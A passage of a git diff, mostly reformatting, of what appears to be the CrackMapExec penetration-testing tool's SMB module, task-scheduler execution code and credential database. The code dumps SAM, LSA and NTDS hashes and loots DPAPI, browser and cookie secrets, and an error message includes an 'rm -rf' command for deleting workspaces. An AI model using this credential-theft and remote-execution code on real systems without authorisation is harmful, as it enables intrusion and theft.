self.domain.split(".")[0].upper(), - self.username - )[0][0] + user_id = self.db.get_user(self.domain.upper(), self.username)[0][0] except Exception as e: error = get_error_string(e) self.logger.fail(f"Error getting user: {error}") @@ -881,25 +1035,21 @@ class smb(connection): error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) return permissions except Exception as e: error = get_error_string(e) self.logger.fail( f"Error enumerating shares: {error}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) return permissions for share in shares: share_name = share["shi1_netname"][:-1] share_remark = share["shi1_remark"][:-1] - share_info = { - "name": share_name, - "remark": share_remark, - "access": [] - } + share_info = {"name": share_name, "remark": share_remark, "access": []} read = False write = False try: @@ -955,7 +1105,14 @@ class smb(connection): def sessions(self): try: - sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + sessions = get_netsession( + self.host, + self.domain, + self.username, + self.password, + self.lmhash, + self.nthash, + ) self.logger.display("Enumerated sessions") for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: @@ -967,7 +1124,14 @@ class smb(connection): def disks(self): disks = [] try: - disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + disks = get_localdisks( + self.host, + self.domain, + self.username, + self.password, + self.lmhash, + self.nthash, + ) self.logger.display("Enumerated disks") for disk in disks: self.logger.highlight(disk.disk) @@ -975,7 +1139,7 @@ class smb(connection): error, desc = e.getErrorString() self.logger.fail( f"Error enumerating disks: {error}", - color="magenta" if error in smb_error_status else "red" + color="magenta" if error in smb_error_status else "red", ) return disks @@ -996,7 +1160,7 @@ class smb(connection): self.nthash, queried_groupname=self.args.local_groups, list_groups=True if not self.args.local_groups else False, - recurse=False + recurse=False, ) if self.args.local_groups: @@ -1011,7 +1175,7 @@ class smb(connection): group_id = self.db.add_group( self.hostname, group.name, - member_count_ad=group.membercount + member_count_ad=group.membercount, )[0] else: domain, name = group.name.split("/") @@ -1020,13 +1184,15 @@ class smb(connection): try: group_id = self.db.get_groups( group_name=self.args.local_groups, - group_domain=domain - )[0][0] + group_domain=domain, + )[ + 0 + ][0] except IndexError: group_id = self.db.add_group( domain, self.args.local_groups, - member_count_ad=group.membercount + member_count_ad=group.membercount, )[0] # yo dawg, I hear you like groups. @@ -1047,11 +1213,7 @@ class smb(connection): for group_name, group_rid in groups.items(): self.logger.highlight(f"rid => {group_rid} => {group_name}") - group_id = self.db.add_group( - self.hostname, - group_name, - rid=group_rid - )[0] + group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] self.logger.debug(f"Added group, returned id: {group_id}") return groups @@ -1091,33 +1253,40 @@ class smb(connection): recurse=False, use_matching_rule=False, full_data=False, - custom_filter=str() + custom_filter=str(), ) self.logger.success("Enumerated members of domain group") for group in groups: member_count = len(group.member) if hasattr(group, "member") else 0 - self.logger.highlight( - f"{group.memberdomain}\\{group.membername}" - ) + self.logger.highlight(f"{group.memberdomain}\\{group.membername}") try: group_id = self.db.get_groups( group_name=self.args.groups, - group_domain=group.groupdomain - )[0][0] + group_domain=group.groupdomain, + )[ + 0 + ][0] except IndexError: group_id = self.db.add_group( group.groupdomain, self.args.groups, - member_count_ad=member_count + member_count_ad=member_count, )[0] if not group.isgroup: - self.db.add_credential("plaintext", group.memberdomain, group.membername, "", group_id, "") + self.db.add_credential( + "plaintext", + group.memberdomain, + group.membername, + "", + group_id, + "", + ) elif group.isgroup: group_id = self.db.add_group( group.groupdomain, group.groupname, - member_count_ad=member_count + member_count_ad=member_count, )[0] break except Exception as e: @@ -1138,7 +1307,7 @@ class smb(connection): ads_path=str(), admin_count=False, full_data=True, - custom_filter=str() + custom_filter=str(), ) self.logger.success("Enumerated domain group(s)") @@ -1153,7 +1322,7 @@ class smb(connection): group_id = self.db.add_group( domain, group.samaccountname, - member_count_ad=member_count + member_count_ad=member_count, )[0] break except Exception as e: @@ -1176,9 +1345,9 @@ class smb(connection): password=self.password, lmhash=self.lmhash, nthash=self.nthash, - queried_domain='', + queried_domain="", ads_path=str(), - custom_filter=str() + custom_filter=str(), ) self.logger.success("Enumerated domain computer(s)") @@ -1200,20 +1369,16 @@ class smb(connection): self.username, self.password, lmhash=self.lmhash, - nthash=self.nthash + nthash=self.nthash, ) self.logger.success("Enumerated logged_on users") if self.args.loggedon_users_filter: for user in logged_on: if re.match(self.args.loggedon_users_filter, user.wkui1_username): - self.logger.highlight( - f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}" - ) + self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}") else: for user in logged_on: - self.logger.highlight( - f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}" - ) + self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}") except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") return logged_on @@ -1227,7 +1392,14 @@ class smb(connection): namespace = self.args.wmi_namespace try: - rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) + rpc = RPCRequester( + self.host, + self.domain, + self.username, + self.password, + self.lmhash, + self.nthash, + ) rpc._create_wmi_connection(namespace=namespace) if wmi_query: @@ -1240,12 +1412,12 @@ class smb(connection): while True: try: - wmi_results = query.Next(0xffffffff, 1)[0] + wmi_results = query.Next(0xFFFFFFFF, 1)[0] record = wmi_results.getProperties() records.append(record) for k, v in record.items(): self.logger.highlight(f"{k} => {v['value']}") - self.logger.highlight('') + self.logger.highlight("") except Exception as e: if str(e).find("S_FALSE") < 0: raise e @@ -1254,7 +1426,17 @@ class smb(connection): return records - def spider(self, share=None, folder=".", pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, only_files=True): + def spider( + self, + share=None, + folder=".", + pattern=[], + regex=[], + exclude_dirs=[], + depth=None, + content=False, + only_files=True, + ): spider = SMBSpider(self.conn, self.logger) self.logger.display("Started spidering") @@ -1268,7 +1450,7 @@ class smb(connection): self.args.exclude_dirs, self.args.depth, self.args.content, - self.args.only_files + self.args.only_files, ) else: spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files) @@ -1285,12 +1467,12 @@ class smb(connection): KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False}, 139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True}, - 445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", 'set_host': True}, + 445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True}, } try: full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain - string_binding = KNOWN_PROTOCOLS[self.args.port]['bindstr'] + string_binding = KNOWN_PROTOCOLS[self.args.port]["bindstr"] logging.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.set_dport(self.args.port) @@ -1323,10 +1505,7 @@ class smb(connection): dce.bind(lsat.MSRPC_UUID_LSAT) try: - resp = lsad.hLsarOpenPolicy2( - dce, - MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES - ) + resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) except lsad.DCERPCSessionError as e: self.logger.fail(f"Error connecting: {e}") return entries @@ -1336,7 +1515,7 @@ class smb(connection): resp = lsad.hLsarQueryInformationPolicy2( dce, policy_handle, - lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation + lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation, ) domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() @@ -1353,7 +1532,7 @@ class smb(connection): sids = list() for i in range(so_far, so_far + sids_to_check): - sids.append(domain_sid + "-%d" % i) + sids.append(f"{domain_sid}-{i:d}") try: lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: @@ -1370,14 +1549,16 @@ class smb(connection): rid = so_far + n domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] user = item["Name"] - sid_type = SID_NAME_USE.enumItems(item['Use']).name + sid_type = SID_NAME_USE.enumItems(item["Use"]).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") - entries.append({ - "rid": rid, - "domain": domain, - "username": user, - "sidtype": sid_type - }) + entries.append( + { + "rid": rid, + "domain": domain, + "username": user, + "sidtype": sid_type, + } + ) so_far += simultaneous dce.disconnect() return entries @@ -1387,9 +1568,7 @@ class smb(connection): with open(self.args.put_file[0], "rb") as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) - self.logger.success( - f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}" - ) + self.logger.success(f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}") except Exception as e: self.logger.fail(f"Error writing file to share {self.args.share}: {e}") @@ -1417,35 +1596,48 @@ class smb(connection): @requires_admin def sam(self): - self.enable_remoteops() - host_id = self.db.get_hosts(filter_term=self.host)[0][0] + try: + self.enable_remoteops() + host_id = self.db.get_hosts(filter_term=self.host)[0][0] - def add_sam_hash(sam_hash, host_id): - add_sam_hash.sam_hashes += 1 - self.logger.highlight(sam_hash) - username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') - self.db.add_credential("hash", self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) + def add_sam_hash(sam_hash, host_id): + add_sam_hash.sam_hashes += 1 + self.logger.highlight(sam_hash) + username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + self.db.add_credential( + "hash", + self.hostname, + username, + ":".join((lmhash, nthash)), + pillaged_from=host_id, + ) - add_sam_hash.sam_hashes = 0 + add_sam_hash.sam_hashes = 0 - if self.remote_ops and self.bootkey: - SAM_file_name = self.remote_ops.saveSAM() - SAM = SAMHashes( - SAM_file_name, - self.bootkey, - isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) + if self.remote_ops and self.bootkey: + SAM_file_name = self.remote_ops.saveSAM() + SAM = SAMHashes( + SAM_file_name, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) - self.logger.display("Dumping SAM hashes") - SAM.dump() - SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + self.logger.display("Dumping SAM hashes") + SAM.dump() + SAM.export(self.output_filename) + self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") - try: - self.remote_ops.finish() - except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - SAM.finish() + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + SAM.finish() + except SessionError as e: + if "STATUS_ACCESS_DENIED" in e.getErrorString(): + self.logger.fail("Error \"STATUS_ACCESS_DENIED\" while dumping SAM. This is likely due to an endpoint protection.") + except Exception as e: + self.logger.exception(str(e)) @requires_admin def dpapi(self): @@ -1469,8 +1661,10 @@ class smb(connection): try: results = self.db.get_domain_backupkey(self.domain) except: - self.logger.fail("Your version of CMEDB is not up to date, run cmedb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option") + self.logger.fail( + "Your version of CMEDB is not up to date, run cmedb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) return False if len(results) > 0: self.logger.success("Loading domain backupkey from cmedb...") @@ -1523,24 +1717,11 @@ class smb(connection): self.logger.debug(f"Could not upgrade connection: {e}") return - plaintexts = { - username: password for _, - _, - username, - password, - _, - _ in self.db.get_credentials(cred_type="plaintext") - } - nthashes = { - username: nt.split(':')[1] if ':' in nt else nt for _, - _, username, - nt, - _, - _ in self.db.get_credentials(cred_type="hash") - } - if self.password != '': + plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} + if self.password != "": plaintexts[self.username] = self.password - if self.nthash != '': + if self.nthash != "": nthashes[self.username] = self.nthash # Collect User and Machine masterkeys @@ -1551,7 +1732,7 @@ class smb(connection): conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, - nthashes=nthashes + nthashes=nthashes, ) self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") masterkeys += masterkeys_triage.triage_masterkeys() @@ -1577,28 +1758,24 @@ class smb(connection): self.logger.debug(f"Error while looting credentials: {e}") for credential in credentials: - self.logger.highlight( - f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, "CREDENTIAL", credential.winuser, credential.username, credential.password, - credential.target + credential.target, ) for credential in system_credentials: - self.logger.highlight( - f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, "CREDENTIAL", "SYSTEM", credential.username, credential.password, - credential.target + credential.target, ) try: @@ -1610,24 +1787,20 @@ class smb(connection): self.logger.debug(f"Error while looting browsers: {e}") for credential in browser_credentials: cred_url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight( - f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, credential.browser.upper(), credential.winuser, credential.username, credential.password, - credential.url + credential.url, ) if dump_cookies: self.logger.display("Start Dumping Cookies") for cookie in cookies: - self.logger.highlight( - f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}" - ) + self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") self.logger.display("End Dumping Cookies") try: @@ -1642,11 +1815,11 @@ class smb(connection): self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") self.db.add_dpapi_secrets( target.address, - 'IEX', + "IEX", vault.winuser, vault.username, vault.password, - vault.resource + vault.resource, ) try: @@ -1657,60 +1830,62 @@ class smb(connection): self.logger.debug(f"Error while looting firefox: {e}") for credential in firefox_credentials: url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight( - f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}" - ) + self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, "FIREFOX", credential.winuser, credential.username, credential.password, - credential.url + credential.url, ) @requires_admin def lsa(self): - self.enable_remoteops() + try: + self.enable_remoteops() - def add_lsa_secret(secret): - add_lsa_secret.secrets += 1 - self.logger.highlight(secret) - if "_SC_GMSA_{84A78B8C" in secret: - gmsa_id = secret.split("_")[4].split(":")[0] - data = bytes.fromhex(secret.split("_")[4].split(":")[1]) - blob = MSDS_MANAGEDPASSWORD_BLOB() - blob.fromString(data) - currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new() - ntlm_hash.update(currentPassword) - passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + def add_lsa_secret(secret): + add_lsa_secret.secrets += 1 + self.logger.highlight(secret) + if "_SC_GMSA_{84A78B8C" in secret: + gmsa_id = secret.split("_")[4].split(":")[0] + data = bytes.fromhex(secret.split("_")[4].split(":")[1]) + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(data) + currentPassword = blob["CurrentPassword"][:-2] + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") - add_lsa_secret.secrets = 0 + add_lsa_secret.secrets = 0 - if self.remote_ops and self.bootkey: - SECURITYFileName = self.remote_ops.saveSECURITY() - LSA = LSASecrets( - SECURITYFileName, - self.bootkey, - self.remote_ops, - isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret) - ) - self.logger.success("Dumping LSA secrets") - LSA.dumpCachedHashes() - LSA.exportCached(self.output_filename) - LSA.dumpSecrets() - LSA.exportSecrets(self.output_filename) - self.logger.success( - f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}" - ) - try: - self.remote_ops.finish() - except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - LSA.finish() + if self.remote_ops and self.bootkey: + SECURITYFileName = self.remote_ops.saveSECURITY() + LSA = LSASecrets( + SECURITYFileName, + self.bootkey, + self.remote_ops, + isRemote=True, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + self.logger.success("Dumping LSA secrets") + LSA.dumpCachedHashes() + LSA.exportCached(self.output_filename) + LSA.dumpSecrets() + LSA.exportSecrets(self.output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + LSA.finish() + except SessionError as e: + if "STATUS_ACCESS_DENIED" in e.getErrorString(): + self.logger.fail("Error \"STATUS_ACCESS_DENIED\" while dumping LSA. This is likely due to an endpoint protection.") + except Exception as e: + self.logger.exception(str(e)) def ntds(self): self.enable_remoteops() @@ -1779,16 +1954,14 @@ class smb(connection): outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, - perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id) + perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id), ) try: self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" - self.logger.success( - f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database" - ) + self.logger.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database") self.logger.display("To extract only enabled accounts from the output file, run the following command: ") self.logger.display(f"cat {ntds_outfile} | grep -iv disabled | cut -d ':' -f1") self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") diff --git a/cme/protocols/smb/atexec.py b/cme/protocols/smb/atexec.py index 3b2c9c71..36d607a0 100755 --- a/cme/protocols/smb/atexec.py +++ b/cme/protocols/smb/atexec.py @@ -10,37 +10,56 @@ from cme.helpers.misc import gen_random_string from cme.logger import cme_logger from time import sleep + class TSCH_EXEC: - def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None): + def __init__( + self, + target, + share_name, + username, + password, + domain, + doKerberos=False, + aesKey=None, + kdcHost=None, + hashes=None, + ): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__share_name = share_name - self.__lmhash = '' - self.__nthash = '' - self.__outputBuffer = b'' + self.__lmhash = "" + self.__nthash = "" + self.__outputBuffer = b"" self.__retOutput = False self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost if hashes is not None: - # This checks to see if we didn't provide the LM Hash - if hashes.find(':') != -1: - self.__lmhash, self.__nthash = hashes.split(':') + # This checks to see if we didn't provide the LM Hash + if hashes.find(":") != -1: + self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: - self.__password = '' + self.__password = "" cme_logger.debug("test") - stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target + stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) - if hasattr(self.__rpctransport, 'set_credentials'): + if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. - self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) + self.__rpctransport.set_credentials( + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) def execute(self, command, output=False): @@ -61,7 +80,6 @@ class TSCH_EXEC: self.doStuff(data) def gen_xml(self, command, tmpFileName, fileless=False): - xml = """ @@ -122,17 +140,16 @@ class TSCH_EXEC: return xml def doStuff(self, command, fileless=False): - dce = self.__rpctransport.get_dce_rpc() if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) + # dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) - tmpFileName = tmpName + '.tmp' + tmpFileName = tmpName + ".tmp" xml = self.gen_xml(command, tmpFileName, fileless) @@ -159,7 +176,7 @@ class TSCH_EXEC: taskCreated = False if taskCreated is True: - tsch.hSchRpcDelete(dce, '\\%s' % tmpName) + tsch.hSchRpcDelete(dce, "\\%s" % tmpName) if self.__retOutput: if fileless: @@ -171,7 +188,7 @@ class TSCH_EXEC: except IOError: sleep(2) else: - peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) + peer = ":".join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() while True: try: diff --git a/cme/protocols/smb/database.py b/cme/protocols/smb/database.py index f4b2259e..63e27e8d 100755 --- a/cme/protocols/smb/database.py +++ b/cme/protocols/smb/database.py @@ -6,7 +6,11 @@ from datetime import datetime from sqlalchemy import MetaData, func, Table, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert -from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError +from sqlalchemy.exc import ( + IllegalStateChangeError, + NoInspectionAvailable, + NoSuchTableError, +) from sqlalchemy.exc import SAWarning from sqlalchemy.orm import sessionmaker, scoped_session @@ -31,10 +35,7 @@ class database: self.db_engine = db_engine self.metadata = MetaData() self.reflect_tables() - session_factory = sessionmaker( - bind=self.db_engine, - expire_on_commit=True - ) + session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True) Session = scoped_session(session_factory) # this is still named "conn" when it is the session object; TODO: rename @@ -42,7 +43,8 @@ class database: @staticmethod def db_schema(db_conn): - db_conn.execute('''CREATE TABLE "hosts" ( + db_conn.execute( + """CREATE TABLE "hosts" ( "id" integer PRIMARY KEY, "ip" text, "hostname" text, @@ -54,9 +56,11 @@ class database: "spooler" boolean, "zerologon" boolean, "petitpotam" boolean - )''') + )""" + ) # type = hash, plaintext - db_conn.execute('''CREATE TABLE "users" ( + db_conn.execute( + """CREATE TABLE "users" ( "id" integer PRIMARY KEY, "domain" text, "username" text, @@ -64,31 +68,39 @@ class database: "credtype" text, "pillaged_from_hostid" integer, FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "groups" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "groups" ( "id" integer PRIMARY KEY, "domain" text, "name" text, "rid" text, "member_count_ad" integer, "last_query_time" text - )''') + )""" + ) # This table keeps track of which credential has admin access over which machine and vice-versa - db_conn.execute('''CREATE TABLE "admin_relations" ( + db_conn.execute( + """CREATE TABLE "admin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "group_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "group_relations" ( "id" integer PRIMARY KEY, "userid" integer, "groupid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(groupid) REFERENCES groups(id) - )''') - db_conn.execute('''CREATE TABLE "shares" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "shares" ( "id" integer PRIMARY KEY, "hostid" text, "userid" integer, @@ -98,15 +110,19 @@ class database: "write" boolean, FOREIGN KEY(userid) REFERENCES users(id) UNIQUE(hostid, userid, name) - )''') - db_conn.execute('''CREATE TABLE "loggedin_relations" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "loggedin_relations" ( "id" integer PRIMARY KEY, "userid" integer, "hostid" integer, FOREIGN KEY(userid) REFERENCES users(id), FOREIGN KEY(hostid) REFERENCES hosts(id) - )''') - db_conn.execute('''CREATE TABLE "dpapi_secrets" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "dpapi_secrets" ( "id" integer PRIMARY KEY, "host" text, "dpapi_type" text, @@ -115,13 +131,16 @@ class database: "password" text, "url" text, UNIQUE(host, dpapi_type, windows_user, username, password, url) - )''') - db_conn.execute('''CREATE TABLE "dpapi_backupkey" ( + )""" + ) + db_conn.execute( + """CREATE TABLE "dpapi_backupkey" ( "id" integer PRIMARY KEY, "domain" text, "pvk" text, UNIQUE(domain) - )''') + )""" + ) # db_conn.execute('''CREATE TABLE "ntds_dumps" ( # "id" integer PRIMARY KEY, # "hostid", integer, @@ -144,12 +163,7 @@ class database: self.DpapiSecrets = Table("dpapi_secrets", self.metadata, autoload_with=self.db_engine) self.DpapiBackupkey = Table("dpapi_backupkey", self.metadata, autoload_with=self.db_engine) except (NoInspectionAvailable, NoSuchTableError): - print( - "[-] Error reflecting tables - this means there is a DB schema mismatch \n" - "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" - "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" - "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema" - ) + print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema") exit() def shutdown_db(self): @@ -166,18 +180,26 @@ class database: self.conn.execute(table.delete()) # pull/545 - def add_host(self, ip, hostname, domain, os, smbv1, signing, spooler=None, zerologon=None, petitpotam=None, - dc=None): + def add_host( + self, + ip, + hostname, + domain, + os, + smbv1, + signing, + spooler=None, + zerologon=None, + petitpotam=None, + dc=None, + ): """ Check if this host has already been added to the database, if not, add it in. """ - domain = domain.split('.')[0] hosts = [] updated_ids = [] - q = select(self.HostsTable).filter( - self.HostsTable.c.ip == ip - ) + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.conn.execute(q).all() # create new host @@ -186,13 +208,13 @@ class database: "ip": ip, "hostname": hostname, "domain": domain, - "os": os if os is not None else '', + "os": os if os is not None else "", "dc": dc, "smbv1": smbv1, "signing": signing, "spooler": spooler, "zerologon": zerologon, - "petitpotam": petitpotam + "petitpotam": petitpotam, } hosts = [new_host] # update existing hosts data @@ -228,16 +250,10 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) - update_columns = {col.name: col for col in q.excluded if col.name not in 'id'} - q = q.on_conflict_do_update( - index_elements=self.HostsTable.primary_key, - set_=update_columns - ) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) - self.conn.execute( - q, - hosts - ) # .scalar() + self.conn.execute(q, hosts) # .scalar() # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: cme_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") @@ -247,19 +263,17 @@ class database: """ Check if this credential has already been added to the database, if not add it in. """ - domain = domain.split('.')[0] credentials = [] groups = [] - if (group_id and not self.is_group_valid(group_id)) or \ - (pillaged_from and not self.is_host_valid(pillaged_from)): + if (group_id and not self.is_group_valid(group_id)) or (pillaged_from and not self.is_host_valid(pillaged_from)): cme_logger.debug(f"Invalid group or host") return q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), - func.lower(self.UsersTable.c.credtype) == func.lower(credtype) + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.conn.execute(q).all() @@ -290,10 +304,7 @@ class database: cred_data["password"] = password if group_id is not None: cred_data["groupid"] = group_id - groups.append({ - "userid": cred_data["id"], - "groupid": group_id - }) + groups.append({"userid": cred_data["id"], "groupid": group_id}) if pillaged_from is not None: cred_data["pillaged_from"] = pillaged_from # only add cred to be updated if it has changed @@ -302,25 +313,16 @@ class database: # TODO: find a way to abstract this away to a single Upsert call q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) - update_columns_users = {col.name: col for col in q_users.excluded if col.name not in 'id'} - q_users = q_users.on_conflict_do_update( - index_elements=self.UsersTable.primary_key, - set_=update_columns_users - ) + update_columns_users = 